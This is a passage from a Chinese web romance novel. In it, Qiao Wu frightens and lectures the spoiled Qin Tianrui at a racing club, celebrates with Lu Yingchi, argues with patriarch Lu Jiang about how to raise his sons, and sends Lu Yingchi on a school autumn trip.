“不怎么样,既然答应了你哥,我就得做点什么。”乔梧依旧压在他背上,她虽然瘦,却很会用巧劲,而且她肉少,所以一动起来骨骼抵住背就能让秦天睿的惨叫声声入耳。 乔梧低头问他:“你觉得你怎么做我会让你起来。” 搞这么一通不就是因为刚才别了一下陆应池的车?! 秦天睿心不甘情不愿道:“我道歉!” 乔梧摇头:“不稀罕。” 秦天睿:“给你钱!你要多少!” 乔梧不在意:“你哥比你给的多。” 油盐不进,秦天睿崩溃了。 被人按在地上还被这么多人围观,他以后再也不会来零环线了! “看什么看,都给老子滚!” “看。”陆应池站在旁边,趾高气昂浑身舒爽,“都站在这儿,谁站得久老子给谁买单,喝多少买多少!” 还有这种好事儿?! 围观群众立刻望向秦天睿,眼神热切。 秦少,您再多给一点我们就不看了! “妈的陆应池。”秦天睿挣了挣,愣是没挣脱开,他感觉自己的五脏六腑都要被人压爆了,他低吼道,“我让你别回来行不行!” 陆应池嫌弃:“谁跟你一样不要命。” 虽然他跟乔梧说赢了要喝酒,但他今天的确没有开很快,因为乔梧跟他说过安全第一。 来这里之前的确是想出气,可跟乔梧前后脚出发他却觉得没那么生气了,这个过程就很好玩。 以前的他只想赢,冲过那条线以后享受那种刺激。 但是现在他想要乔梧赢,好不容易来一趟,要是乔梧玩得开心了以后还陪他来呢,喝酒在哪都能喝。 这才让这个逼给追上别了一下车。 “这也不行那也不行!”秦天睿气急败坏,“你还要我给你跪下?!” “不是你说的,要跪下叫爹么。”陆应池蹲在他面前欣赏那张被打肿的脸,“叫一声听听,高兴了我就让她放你起来,不高兴了老子再抽你一顿。” 乔梧掀眸:“陆应池。” “啧。”陆应池耸耸肩,“我还不想有这么个儿子呢。” 他也做不了乔梧的主,更不知道她要干什么。 难不成真的要把秦天睿放到路上,再给他别一下? 乔梧对陆应池道:“去拿根绳子来。” 公馆一楼会有模特跳舞,包括私人包厢也会单独有表演,想找一根绳子太容易了。 都不用陆应池动手,就有雷锋默默从人群里扔了一根出来。 乔梧三两下将秦天睿绑住,她回头看了一眼路况屏幕,因为出了别车的事,加上这边闹起来了。 下一圈迟迟没开始跑,路上没有任何人。 乔梧只会用巧劲,这么大一个男人的确很沉,所以对陆应池道:“把他拎起来,丢路中间去。” 秦天睿尖叫:“你要干什么!” 下一瞬他的头发被揪住,乔梧将他往上拽,对上那双狼狈愤怒的眼睛:“你做什么我都不会让你起来,因为我不高兴。” 那双冷漠的浅色眸子让秦天睿第一次感受到了心慌和不安。 别人说动手那可能只是嘴上说说,但乔梧可是一句话没说就直接动手了,而且一下比一下狠。 他被他哥打的时 候还是背着人,也知道他哥不会把他打死,打一顿骂一顿就撤了。 可乔梧什么都没顾。 摩拳擦掌的陆应池将被五花大绑的秦天睿轻松揪着,给他扔到了赛道中间,带着私人恩怨还踹了一脚,然后回头看乔梧:“然后呢?” 乔梧:“让开。” 围在周围的人群自动让出一条路。 乔梧转身走到了自己的车前,开门上车。 “真的会出事。”姜园心里已经开始慌了,扭过头,“陆总,您还是叫停吧。” 然后他发现平时看起来不显山不露水的陆尽之此时此刻脸上居然毫不掩饰地露出好奇的神情,甚至还有点激动。 不是,要搞出人命了,他在激动什么?! “陆总!” 陆尽之被打扰了兴致,不悦道:“不会。” 底下的乔梧已经上了车,她砰的一声关上车门发动车子,在场所有人呼吸都停了。 不会吧,玩这么大。 秦天睿已经吓蒙了,他呆滞地望着冲着自己的车头,全身瘫软。 直到沉闷的油门声响起,那辆车直直朝他冲了过来。 秦天睿瞳孔瞬间睁大,又瞬间死死地闭上,声音几近撕裂:“乔梧!!!” 他做鬼都不会放过她的! 越野车清晰的刹车声在咫尺的距离响起,车门被打开关上的碰撞声此时听起来就像超度人的救赎,黄土散开呛得秦天睿感觉呼吸都不顺畅了,他颤抖着睁开眼睛,却被车灯照得几近失明。 只能看到女人背光走来,轮廓一点点清晰,直至在他身前蹲下。 “不是玩命想死?”乔梧问他,“好玩吗?” 秦天睿发不出声音,又动不了,目光惊恐地看着她。 “人外有人,天外有天。”乔梧将捆绑住他的绳子解开,只是现在的秦天睿已经没有力气再动了。 乔梧脸上的冷色这才有了很多缓和:“你信不信,后面这些人随便指一个都想揍你很久了。” 她在车的引擎声下用绳子拍了拍他的脸,低声道:“今天是要告诉你,没有你哥你什么都不是,只要我不想让你起来,你就得一直在这儿趴着,让所有人看着你有多狼狈。” “你呢?”秦天睿终于找到一点自己的声音,又哑又抖,“没有陆家做靠山,没有我哥松口,你敢这么对我?没有他们你也什么都不是。” 原本他以为这样就可以让乔梧傲慢的姿态有所改变,但没想到对方却只淡淡笑了一声:“你说得对。” “没有他们我一无所有。”乔梧看着他的眼睛,“但你有没有想过,他们为什么会做我的靠山,是没脑子吗?” 秦天睿张了张嘴,却没有任何理由。 “我能凭自己本身让这些人听我的话站在我身后给我撑腰,这就是我的本事,是我该得的,我为什么不能使用这个权力?他们是我靠自己的能力获得的资源。” 乔梧指了指他的额头:“但你呢?仅仅靠着身上的那点血让你哥忍了你这么多年都忍不下去,要站在我一个陌生人这边放手让我教育你了,你觉得你又是什么?” “秦天睿,你什么都不是,长点脑子。”乔梧扔下绳子站起身。 此时此刻的秦天睿脑子一片混沌,他觉得自己还不如死了。 今天所有人都看到了他被人欺辱到这种地步,还是他哥放的话,以后他还要怎么在圈里混。 看到乔梧站起身,他根本就没有将绳子扔掉起来的想法。 在他过去的二十来年里,根本没有经历过这么大的挫折,也不知道接下来他要怎么办,怎么才能从这里挺直腰背走出去。 然后他眼前多出了一只手。 乔梧垂着眼看他:“站起来。” 这语气就跟刚才让他下车时差不多,秦天睿冷笑:“怎么,我躺着不方便你动手了?你别太过分。” 乔梧挑眉:“要么你现在站起来跟我走,要么你就继续躺在这儿,我相信有很多人会愿意过来扶你一把。” 秦天睿扭头往车后面看去,那里一堆堆虎视眈眈的人,一会儿要是冲上来他想都不敢想。 所以他毫不犹豫地抓住了乔梧递给他的这根稻草,反正所有的脸都是在她这里丢的。 乔梧的手很凉,碰到以后骨骼感很分明。 秦天睿根本就想象不到这双手怎么能有那么大的力气。 他忍不住低头看去,可乔梧在他起来时就已经松开了手。 这次不用她说,秦天睿就埋着头冲进她的副驾驶,飞快关上门。 “干什么!”陆应池看着情况不对,收起看戏的表情冲上来,“他上去干什么!” “别闹。”乔梧将他的大脑袋推开,知晓这人的性子,所以特意靠在副驾驶的门上,没让他开门进去跟秦天睿斗殴,“不是要喝酒吗,去吧,我把车开去放好,挡着道了。” “我不喝酒。”陆应池说,“我又没赢。” “谁说的。”她微抬下巴,“呐。” 陆应池顺着她的视线看过去,人群背后的服务员早就堆起了高高的酒塔。 “怎么回事?” “你今天表现特别好,所以你赢了。”乔梧抬起手朝人群的方向打了个响指,她笑着说,“陆应池,这次我为你买单。” 与此同时,服务生在人群里同时打开手中的酒,就跟每一次有人冲过终点一样,只不过这次开酒的人很多。 酒水迸发的声音和动静惊起了人群的注意,所有人纷纷回头,看到那座酒塔后兴奋地尖叫出声。 开酒的气氛组大声道:“这是为陆应池先生安全抵达终点开的酒!大家的欢呼声在哪里!!!” 这个流程所有人都很熟悉,顿时欢呼:“陆少!陆少!陆少!” “去吧。”乔梧说,“我停好车就来。” 陆应池都不知道自己是怎么走到人群里接过服务员递过来的那瓶酒的。 等他反应过来时,手心已经被酒味沾染。 同样也将他整个人从头到脚都熏得晕晕乎乎,不知今夕何夕。 他这辈子从来没想过自己会有这样的经历,有人会因为一点很小很小的事情给他所谓的奖励,陪他来这种地方玩,陪他跑圈,甚至还给他惊喜为他的“失败”而买单。 他感觉自己也跟手里的香槟一样在这一刻爆发出来,震颤又喧嚣。 他忍不住回头看去,路中央的车正在掉头,可以看到乔梧的侧脸,在灯影下闪闪发光,看得他脑子发麻。 “陆少!”旁边的人提醒,“该倒酒了!” 陆应池回神,不满地说:“急什么,等着。” 等她来。 车里的乔梧把车开到其中一个车位,停下来后看向身边沉默的人:“下车还是呆在这儿?” 秦天睿一动不动,甚至还手动系好了安全带。 “我一时半会儿不会走。”乔梧说,“等得了就等,等不了让人来接。” 秦天睿目光复杂地看着她:“为什么要拉我起来?” “不然让你躺那儿给人看笑话?” “我现在难道就不是笑话了么?” 乔梧将车熄火,手搭在窗框上,没看他,语气很随意:“那些话让人听到了你才是笑话,我现在只是在替你哥管教你而已,在场所有人里,只有我拉你起来你才能不被人笑话。” 那些话? 说他什么都不是的那些话么? 秦天睿想起来,当时的确谁也不敢过来,无非也就是他跟乔梧和陆应池而已。 “这就是笑话了?”乔梧淡声道 ,“秦少爷吃的苦还是少了,如果你再继续这么下去,以后你还会成为更多人眼里的笑话。” “你给陆应池就开酒,轮到我就这么管?” “你能跟陆应池比?我管他是家事,关上门该怎么管怎么管。”乔梧笑了声,带着些许嘲意,“但你不是,所以我为什么要给你面子。” 哪怕是在游艇上灌酒,她也只让被欺负的廖廖看着,其余人谁都没能上来。 但秦天睿,就该让他在人前丢尽脸面。 乔梧终于扭过头,目光有些深:“秦天睿,我今天给你留了后路,你从这里出去还能靠着自己站起来,但如果你还是蠢笨到无可救药,那你活该在路上被人看笑话。” “至于开酒。”她眼尾轻挑,“有本事也让你哥来这儿给你开酒。” 秦天睿:“……” 他哥不给他开瓢就不错了。 “自己想想吧,想喝酒就下车。” 乔梧说完就干脆开门走了。 车里瞬间安静下来,跟外面不成一个世界,秦天睿看着她的背影,又恨又无可奈何。 但他却依然忘不了刚才在他不知所措的时候朝他伸出的那只手。 他坐在车里,还能听到乔梧跟陆应池的对话。 刚才还在狠狠抽他的人,下一秒跟陆应池温声细语地说“我为你买单”。 乔梧的确给他留了退路,以长辈管教他的名义让他重新站起来,给他披上了最后一层皮,也没让任何人听到那段对话。 但是什么叫让他靠着自己站起来? 秦天睿忍不住望向人群里高挑的人,她含笑站在那,自得又自信。 所以连他哥都被这人收服了? 见乔梧来了,陆应池这才抬手将酒倒在酒塔上,周围又是一阵欢呼声。 “我等的人来了。”陆应池顶着一张被打得发红的脸,将酒杯递到乔梧手里,得意的说,“看到没,她为我买的单!要叫什么?叫乔梧。” 当然看到了,今晚所有人的目光都聚集在这个女人身上,自然也没有忽略她打的那个响指。 “乔梧!乔梧!乔梧!” 乔梧被声浪冲击得耳朵发麻,往人群外靠了靠,抬起酒杯笑道:“大家玩得开心。” 下面的人情绪高涨。 露台上的人满眼羡慕,陆柠两眼幽幽直冒绿光:“二叔,我可以下去吗?” “不可以。” “哦。”陆柠又不甘心地问,“为什么乔梧要把那个人带上车啊?” 陆尽之:“因为她有脑子。” “……” 陆柠哼了一声,抱着果汁隔空朝着底下喊了声:“乔梧!” 人群里的乔梧似有所感的抬头,一下就看到了露台上的两人,她目露诧异。 陆尽之怎么把陆柠带到这儿来了! 陆柠举着果汁大声喊:“干杯!” 乔梧没忍住笑了下,举起酒杯。 像在家中晚宴一样,她视线又转到另外那人身上,隔得有些距离,又是晚上,所以并不能很好看清上面的人的表情,她隔空碰了碰。 两秒后,那人的酒杯也点了点。 给了她回应。 这里太嘈杂,陆应池已经玩疯了,乔梧喝完杯子里的酒后就越过人群上了露台。 看到姜园也在这儿,她点了点头。 “乔小姐,今天太帅了。”姜园朝她竖起拇指。 可差点给他吓出心脏病。 “没给你添麻烦吧?” “哪能。”姜园这话是真心的,乔梧不仅没添麻烦,还自己把麻烦解决了,要是每个客人都这么省心就好了。 他主动拿出干净的杯子到了两杯酒,其中一杯是递给乔梧的:“我敬你一杯,这是我的私人珍藏,不出售的,跟下面的不一样,上次走得急,也没能好好认识一下。” 乔梧知道姜园的人脉广,名下店多,她才接手基金会,以后少不了要打交道的,所以她接了过去:“谢谢,以后有很多机会。” 姜园喜欢跟聪明人打交道,说了几句话后也很识趣:“那我先去忙,你们聊。” 等人离开,乔梧往陆柠身边坐了些:“你们怎么来了?” 陆柠抢答:“二叔来找你们,我跟着来,但他同意带我的。” “嗯?”乔梧目露询问。 陆尽之:“找你。” 虽然觉得这是个很好的机会,但陆尽之却莫名觉得乔梧做出这样的事他并不意外。 只不过一些想象的画面落到实处,看到她冷淡利落生气发狠的一面时,却又比他所想的更加生动和全面。 总之,他接受良好。 又或者说,很合心意。 酒杯递到两人中间,陆尽之朝乔梧的方向微偏着头,仿佛在回忆,过了会儿才缓声说:“那会儿你还不会开车,也不会喝酒。” 探着脑袋的陆柠根本听不懂,什么不会喝酒。 乔梧可能喝了好么,上次还跟陆应池在酒库喝。 只有乔梧听懂了,陆尽之曾经说她没有变,如果变了,那就不是她。 所以她比任何人都清楚,他说的那会儿是什么时候。 她轻笑:“现在会了。” 说着也抬起自己的酒杯,终于在第三次跟陆尽之的酒杯真切的触碰。 陆尽之今天看了越野疾驰,看了楼下的喧嚣,这些声音让他贫瘠的生活终于开始跳动起来,他也因这些久违在不经意间喝了不少酒。 酒杯相碰后,轻晃的酒液在漆黑的眼底流动,他说话时笑音也被醺染:“敬故友。” 第43章 第四十三章小学生秋游 每个人都喝了酒,只能让零环线的代驾开车回去。 秦天睿一直在车上坐着,压根就没有要走的意思,乔梧也懒得催他什么,反正总会有人给他开车回家。 “你家地址。” 秦天睿给代驾随便报了个地点,他才不会回家,短短几个小时之内要经历第二顿毒打,他又不是傻逼。 先找个地方避一避。 只不过才回到山底下,就看到他哥的车就等在那接人了。 同行还有陆尽之和陆应池的车,乔梧没停留太久,免得到时候又被抓去审问,把人放下后跟秦敛隔着车窗打了个招呼就走了。 秦天睿缩着脖子站在路上,眼睛都没敢抬。 可他哥车都没下:“上车。” 说完后就把车窗关上了。 秦天睿磨磨蹭蹭上去,连前面的司机看到他的模样都惊了:“少爷您是怎么了?” 秦敛:“呵。” “……”秦天睿更加害怕,一直盯着他的皮带看,生怕下一秒就吃竹笋炒肉。 但是车没开走,秦敛膝盖上放着一个笔记本,他划拉几下,上面正在播放一段视频。 秦天睿看都不用看,光听声音就知道那是自己被打的视频。 还有乔梧惊天动地的刹车声。 这是在反复鞭尸? “…哥。” “闭嘴。” 秦敛今天放了话让乔梧只管动手,还说打了弟弟也没关系,但实际上他并不知道现场发生了什么,只知道以弟弟的尿性应该是又闯祸了。 所以他找姜园要了现场的视频,不管是公馆外面的还是路上的,早就被姜园准备好了。 秦敛想过很多可能性,却没想到乔梧口中的“打”会把秦天睿折腾成这个样子,现在看到视频他终于理解了。 虽然平时在家打过很多次秦天睿,但真正把人吓成这样的,一次也没有。 到底是自己的弟弟,是一家人,每一次动手都是教育为主。 秦敛将视频来来去去翻看了好几遍,第一反应不是秦天睿被捆得这么狠这么狼狈,而是想,乔梧哪来这么大胆子? 把人按在地上扇耳光先不说,但凡那辆车她控制不好,真的碰到了秦天睿一丁半点儿,这事儿就不好收场了。 没有绝对的自信和胜券在握,她都做不到这么干脆,更不可能在做完这些惊天动地的举动后还旁若无人地回头与人庆祝。 可视频是无人机拍摄的,事发突然根本拍不到乔梧在车前说了什么。 什么话才能让秦天睿死里逃生以后还一声不吭地上了她的车,在她车里老老实实待了几个小时? “她跟你说了什么?”秦敛问。 秦天睿扫了一眼屏幕,有点难以启齿,支支吾吾添油加醋:“骂我没脑子,羞辱我。” 秦敛还不知道他是什么德性:“原话。” 这下秦天睿才不情不愿把所有的话都转述出来。 倒不是他记性好,而是他长这么大第一次听到这些话,有些还没想明白,所以一直刻在脑海里消不掉了。 原本以为他哥听了至少会有一点生气,毕竟他也代表着秦家的脸面。 没想到秦敛听了以后却忽然笑了。 秦天睿:“???” 在秦敛看来秦天睿再不管教,迟早有一天会被人像视频里这样按在地上打,有些人顾及秦家的势力,但另外那些一无所有的人往往无 所畏惧。 到了那时候秦天睿就是喊阎王爷的名字,拿再多的钱也救不回他的命。 所以乔梧动手还比任何一个外人动手都让他放心,让他意外的是,乔梧会单独把他拽出人群教训。 还会伸手拉他起来。 这个人真的很有意思。 “哥。”见自己没有要被打的预兆,秦天睿示好地问,“她说让我自己站起来是什么意思?” 秦敛的确不想打人了,主要现在的秦天睿太脏,他嫌脏了自己的手和皮带。 “她今天当着这么多人的面打电话给我,是要告诉所有人她跟我一样是以一个长辈的身份在教育你,只有我的示意才能动你,别人不行。” 秦敛冷声道,“虽然你在人前丢了脸,但这件事的性质也只是小辈犯错,你要是想以后找回这份脸面,就只能争气靠自己的能力服众,否则你永远都只能是被长辈管教的纨绔。” 秦天睿听懵了。 说话就说话,这么弯弯绕绕地干什么,一句话要翻译这么长? 他不解:“哥,你们为什么要做她的靠山?” 秦敛将电脑合上:“因为她有脑子。” “……” 今天已经被骂很多次没有脑子了,他还要不要面子的! “不是每个人都是乔梧。”秦敛拿出手机,“也不是每个人都会在最后的时刻把你拉起来。” 秦天睿一愣。 然后看到他哥打开了跟乔梧的聊天框,给人咔咔转账,一巴掌好几万。 挺好的,花钱让别人帮忙揍你弟弟。 世间唯此一个哥哥。 他摸了摸自己火辣辣发疼的脸,心想:其实也还行,陆应池的脸不也是肿的么,只是打陆应池的时候他没看见而已。 乔梧心安理得的将秦敛转账收下了。 第二天大家都出了门后,她来到了陆江的书房。 前一晚从零环线回来已经很晚,加上喝了酒,她并没有上来打扰。 “正好。”陆江正在观察自己的保险柜,见她来了将轮椅转过来,“我正要找你,坐吧。” 乔梧在椅子上坐下:“老先生是因为昨晚的事找我吗?” “你带老四去飙车蹦迪。”陆江脸上并没有什么表情,“老二和陆柠也去了,你说我该不该找你?” 他一直好奇乔梧怎么能把家里的几个小子收拾得这么老实,合着是投其所好。 陆江的确是生气,他觉得乔梧应该是稳重的人。 乔梧温声问:“老先生不满意哪一个结果?” “那就不是他们该去的地方,飙车成什么样子!”陆江厉声说,“还跟秦家那臭小子起冲突了是不是?” 乔梧坦然点头:“是。” 这赶紧利落的一个字把陆江给整不会了,他卡了一下:“小梧,叔叔信任你,但叔叔的确不知道你是怎么想的?” “老先生。”乔梧坐得很直,“您希望他们会成为什么样子?都像二少爷那样聪明能担大局继承公司吗?” “那我要烧多少高香。”陆江冷哼,“只要他们能不给我丢人就行了!” “昨天他们也没给您丢人。”乔梧说,“丢人的是秦天睿。” “这是一回事儿?” “是。”乔梧语气不卑不亢,“这段时间以来,家里有任何一个人做出让您觉得丢人的事了吗?” 陆江皱了下眉,终于找到一个不喜欢的地方:“老三去干什么了?” “为什么您会觉得三少爷演戏不好,明明您也会看电视剧,也有喜欢的演员。”乔梧反问,“如果他能成为那样的艺人,您喜欢的演员是自己的儿子,不是挺好吗?” “那能一样?他那个样子他能做成什么?” 乔梧语气笃定:“他能。” “三少爷小时候为了奖品,顶着39度高烧去学校参加运动会,还拿了第一名回来,您记得吗?” 陆江:“有这种事?” “您不记得,因为那会儿您还在国外出差,我父亲给您打电话您也只是让家庭医生上点心。” 这下陆江听出来她话里的意思了:“你在怪我?” “没有,您作为公司的领导人,被迫在外工作,这事儿怪不到您头上。”乔梧摇头,“我只是想说,三少爷比您想象中的有恒心,他如果决定要做的事就一定会做好的。” “你也说了那是他小时候。” “那您怎么不看看结果再否定他?”乔梧将自己带来的电脑打开,翻转推到他面前,“这是节目的宣发流程,马上节目组就会公布参赛选手的信息,紧接着会播出先导片。” 陆江把节目组那些规则都大致看了一遍,光是那些熬夜拍摄的流程他都觉得陆宣坚持不下来。 “只有一个月的时间,他拿不到什么影帝视帝,也做不到什么大成就。”乔梧说,“但是他一定比您想象中的要能承担得多。” 一个月,陆宣已经浪费了23年,的确不差这一个月了。 陆江并没有说话。 见状乔梧又接着道:“至于四少爷。” 昨天那一巴掌打得陆江着实有点后悔,毕竟才回到家的第一天就闹了这么一通,他脸色不太好看。 乔梧:“如果是以前他可能已经跟您打起来了吧。” 整个陆家,只有现在仿佛叛逆期还没过的陆应池敢跟他老子动手,动不动就要跳楼。 “我还得谢谢他?” 乔梧认真道:“如果您希望四少爷能一夜之间成为福布斯年轻企业家榜上的人,那可能只有财神爷降世才能做到了。” 乔梧回忆了一下,笑着道:“他曾经问过我,他是不是很没用,老先生您觉得能问出这句话的四少爷会有多不听话?” “他有义气,会替陆柠出头教陆柠写作业,肯听劝,也会远离身边那些心思不正的人,每天会定时回家乖乖上课,其实他跟普通人家的大学生没有什么区别,跟你生气也会控制情绪没有动手,哪怕是昨晚去零环线也没有飙车,被人恶意别车也没有做出什么过分的事来,想喝酒都要先打报告。” 她轻轻说:“老先生,所以我并不觉得四少爷丢人,他们都很好。” 原本是把乔梧叫来兴师问罪的陆江现在发现自己一个字没说,话全被乔梧说了。 而且怎么搞得乔梧比他更了解自己的儿子一样。 “如果您将现在的他们跟以前做对比,依旧觉得他们的变化让您不满意的话,那请恕我无法胜任这份工作。”乔梧说,“我会主动请辞。” “……” 陆江觉得自己被威胁了。 是他的错觉吗,怎么觉得乔梧今天说话虽然还是有礼有度,但总是有点**味儿。 安静等了几秒,确定没有声音以后乔梧这才继续道:“如果您觉得还是有那么一点可取之处,那能让我再多说两句吗?” 陆江没好气道:“你都说了这么多了,还差这两句?” 在长辈面前乔梧还是要收敛一点的,她不好意思地笑:“老先生,楼下那些规则家里每一个人都在遵守,包括二少爷,您要不要也试一试?” “?”陆江觉得有点荒唐,指着自己,“我?” “您觉得哪一条规则是无理又难以办到的呢?”乔梧点头,“很奇怪,您对自己的孩子还没有对我有耐心。” “您当初培养我的初心是为了能让陆家更好的发展,而现在我确信这样做能够让家里变得更和谐,成果您也看到了,出于共同的目标,我希望您也能遵守,当然,如果您不愿意我也可以把那些东西撤掉,下一 次您再跟家里人起什么冲突,后果我不是很能保证。” 陆江紧紧抓住轮椅的扶手,活了这么多年,连乔知义都没敢跟他说这种话。 他当初还赞扬过乔梧比她父亲更有魄力,没想到现在这份魄力用到他头上会是这种感觉。 他并不喜欢别人站到自己头上。 但乔梧说的也对,他跟她有共同的目标。 老陆总年轻的时候为了公司为了生意做了不少妥协,没想到现在还要继续妥协。 但现在公司已经轮不到他来操心了,他的心愿也不过就是让家里变得和谐一点。 他表情复杂地望向眼前的小姑娘。 乔梧说得的确不错,他对乔梧是要比对几个孩子有耐心,因为乔梧很聪明很乖,从来不做什么错事。 要不是这些年变得有些奇怪,他现在也不会那么质疑她。 只是此时看着她,陆江却又觉得她还是那么聪明。 甚至聪明到跟老二有点像,因为她知道用什么筹码才能让他最快妥协。 他终于移开视线,换了另一个话题:“我听说老二让你做了基金会的理事长。” 听到这话乔梧就知道,他答应了。 她肩膀也放松了不少,轻轻点头:“是的。” “基金会的事不少,你还年轻,有什么事可以随时找谢意。”陆江说,“马上要去参加那个论坛?” “是。” “老四这周末不是秋游?把他也带去,他整天也不知道要干些什么,去公司老二看他也不顺眼,你带他去外面见见世面,在家里看着碍眼。” 乔梧知道他的意思。 以后的陆应池虽然不一定会从商,但看一看对他没什么坏处。 “毕竟是上大学后第一次参与学校组织的集体活动,这个也很重要。”乔梧说,“不过我也会问问他的意见。” 她把自己的电脑收回来,想了想,又说:“老先生,我不会比您的孩子跟你更亲近,您试试多给他们一点耐心吧?您是父亲,父亲是山是树,始终是要更高大一些的。” 她温声说:“误认为您身体不好,他们睡醒鞋都顾不上穿就要冲去医院,而且离家的三少爷不也去医院看您了吗?虽然闹了些不愉快,但他总不能是为了嘲讽您去的。” “至于我。”她笑了笑,望向陆江身后的柜子,“如果不是仗着对方是我的父亲,会对我有偏爱,我是不会那么肆无忌惮去撬陌生人的保险柜的。” 乔梧离开了。 陆江又重新回头看向那个当初被撬的保险柜。 里面其实没有什么重要的东西,他也没有立下什么遗嘱,更不是为了听几个臭小子来道歉。 只是那天半夜被老三的电话吵醒,听到他醉醺醺的道歉时,他有种很奇怪的感觉。 仿佛几个孩子胡闹任性喝醉了在撒娇,闹不出什么大事,却让他啼笑皆非,感觉到久违的热闹。 总之,是比昨天剑拔弩张气急动手要好。 这几个孩子,是在仗着他的偏爱么? 那他是不是的确需要多准备几个保险柜?- 慈善论坛的活动在苏南举办。 参加完论坛,乔梧需要在那边待至少一周,要准备今年陆氏基金会公益项目启动的采访,也是陆氏换了新总裁的第一次公益活动,所以需要亲自参与,实地考察。 等陆应池回到家里听到这件事以后,他毫不犹豫地说:“我跟你去。” “你去什么?”乔梧观察了一下他的脸,涂了药后消肿了不少,“你最多也只能在那待一个周末,周一还得早八。” 天杀的早八。 “那周末也行啊。”陆应池不在意道,“那个什么秋游也是去苏南,还要一起坐大巴,而且国内外什么地方我没去过,没意思。” “景点是没意思。”乔梧将药膏摆在他面前,示意他再涂一点,“但你这辈子可能只有这一次机会能跟同学们一起去玩,大二去的人基本少了,大三大四更是没有,毕业以后你们很可能永远都不会再见了。” 陆应池不是很喜欢“这辈子”这个词,听起来像是生离死别。 “我跟他们也不熟。”他说。 “你不玩怎么熟?”乔梧挑眉,“而且也很有可能是你这辈子唯一一次坐大巴,一群普通人,没有豪车没有游艇,没有酒没有特厨做的大餐。” 陆应池想了一下那个画面,得出结论:“跟参加变形记有什么区别。” “去吧。”旁边陆柠小声说,“我以前的学校办过,好像还挺好玩的。” “什么叫好像?” 陆柠撇嘴:“人多好玩。” 但没几个人跟她玩。 陆应池捏住她的嘴巴:“人多有什么好玩,下次老子带你去玩私人的,给你包个场,你想怎么玩怎么玩。” 话是这么说,但他的确没有参加过变形记。 有那么一点心动。 可是让他在乔梧和狗屁秋游里选一个,他还是倾向于乔梧。 乔梧看出了他这两秒的迟疑,于是给出提议:“这样,左右都是在苏南,你要是觉得不好玩,我再让人去接你,再不济你可以晚上过来找我,论坛结束后有个酒会。” 一举两得。 陆应池:“那……也行。” 到了当天。 乔梧一早出发去了机场。 而陆应池则是先去了学校跟同学们汇合。 看着陆应池的车开过来,等在学校小广场的同学们一个个艳羡又不敢靠近。 都知道陆应池家里有钱,而且他不住校更不吃食堂,平时上完课也都有自己的圈子,跟普通人玩不到一起去,所以大家都敬而远之。 也没想到这位少爷居然愿意来参加这种类似于小学生秋游的活动。 看着陆应池停好车走过来,每个人都赶紧收回自己的视线,少爷要是不高兴就糟了。 同学们没看,但陆应池看了。 离谱的是,这是整个学院一起出去秋游,在他看来满眼都是人头,没有一张是熟悉的脸。 陆少爷以前的圈子杂七杂八,能跟他玩到一起的同学都是些有钱的富二代,也都不是一个班的。 而且他从来不关注自己同班同学长什么样子,更别提什么班长团支书是谁了,上课有课表照着找教室就行,现在也没有谁指给他他们班站在哪一块砖上啊。 他一眼扫过去,但凡对上他视线的人,都匆匆都把眼睛别开。 插着兜的陆少爷更加不高兴了。 到底好玩在哪?! 但是陆少爷从来不内耗自己,他随便拽了一个人:“知道金融一班在哪吗?” 被他拽住的班长:“在您面前?” “……哦。”陆应池拍拍他的肩膀,“谢了。” “不、不客气。”班长忍不住问,“您也要去秋游吗?” 陆应池皱眉:“不然我来给你们送行?” “那、不用劳烦您。” “什么您?”陆应池总觉得听起来跟嘲讽自己一样,“我没名字?” “有。” “你很面生。”陆应池说。 周围的同班同学:“……” 哥,您要不看看人家是班长呢? 班长苦哈哈地说:“我长得大众脸。” 陆应池疑惑:“你抖什么,我很吓人?” “不是。” 是的。 谁没听说过您的传说,看跟您闹翻那几个富二代的下场就知道了。 见对方一点都不开窍,陆应池这才黑着脸:“我的意思是,你叫什么名字?” “他是班长,他叫费景明。” 这下陆应池才意识到自己好像做了件不太好的事。 “不好意思。”陆应池搭着他的肩膀,“费班长,现在我就认识你,一会儿走哪说一声,我找不到班里的砖。” “放心,一会儿就有班牌了。” 很快,每个班的大巴车就在路边停下,大家都陆续上车。 陆应池长得高,排在最后一个位置,他又不是没见过大巴,也不觉得有多难坐。 可等他上车的时候,上面几乎已经坐满了人。 留给他的只有费班长身边的位置,同 学们默契留下的。 陆应池长腿一迈跨过去,坐下后长腿一伸。 笑死,根本伸不开。 他不悦地轻啧一声。 有人飞机头等舱,有人大巴车尾座。 这种经历这辈子只有一次也挺好的,他一点都不遗憾。 但是乔梧是怎么知道的?她以前参加过?好像没有吧。 他怎么记得乔梧出国前上大学的时候根本不乐意跟她的同学们玩。 见身旁的人有些不耐,那双大长腿无处安放,费景明默默往旁边挪了挪,给他腾出更多空间。 陆应池坐得不太舒服,所以注意力一直都在四周,自然也察觉到了身边的人离自己远了。 他也没回头。 只是觉得这个秋游确实挺没意思的,下了车就去找乔梧好了。 第44章 第四十四章二更 慈善论坛下午两点开始,乔梧早上就到了,顺便在酒店吃的午饭。 想着陆少爷第一次参与集体活动,趁着这个时间给他打电话问了下感受。 “喂?” 对面声音听起来不算很妙,困倦加不耐,给陆少爷BUFF都叠满了。 “还没到?” 提到这个陆应池就来气。 “早上集合还要从学校出发,一路大巴又挤又闷跟婴儿车一样。”他发着牢骚,“睡个觉都伸不开腿,到目的地天都黑了。” 也不知道旁边那些人是怎么坐得住的,周末就两天,在车上要度过一半的时间,有这种精力去酒店包个房间睡大觉不香吗? “我到了就去找你。” 乔梧有些意外。 陆应池当初被逼着学习,上的学校虽然算不上顶尖,但好歹也是个本一,跟同学们一起出去秋游,又都是初进大学的年轻人,怎么会觉得无聊呢? “没跟人生气吧?”她问。 “我倒是想。”陆应池余光看着恨不得离自己八百米远的这些人,“那人家也不搭理我啊。” 别说搭理了,他怀疑这些同学都被喂了哑药,年纪轻轻一点声音都没有,整辆车都是死气沉沉的,安静得他怀疑自己说话这车里都有回音,跟电话里的人说话旁边的人都听得见。 这种气氛搞得他昏昏欲睡,关键是还睡不着,因为脑袋会一直撞到窗户。 陆应池就搞不明白了,自己为什么一定要那么傻逼听乔梧的话,就算不跟这些人做朋友一起玩,他的天也塌不下来。 真是操蛋。 听完后乔梧就明白了。 “陆少爷,你要不要想想以前你在同学心目中是个什么形象?” 跟乔梧打电话听到点舒心的声音,陆应池心情这才好了点,轻哼:“高富帅。” 一旁的费景明抖了抖。 差点没忍住笑出声。 陆应池奇怪地看他一眼,怎么回事,说这种话他都害怕,什么胆子? “胡卓是什么人?” 陆应池:“傻逼。” “那以前跟他们玩的你是什么人。” “……”陆应池坐直,气笑了,“你拐着弯骂我呢?” 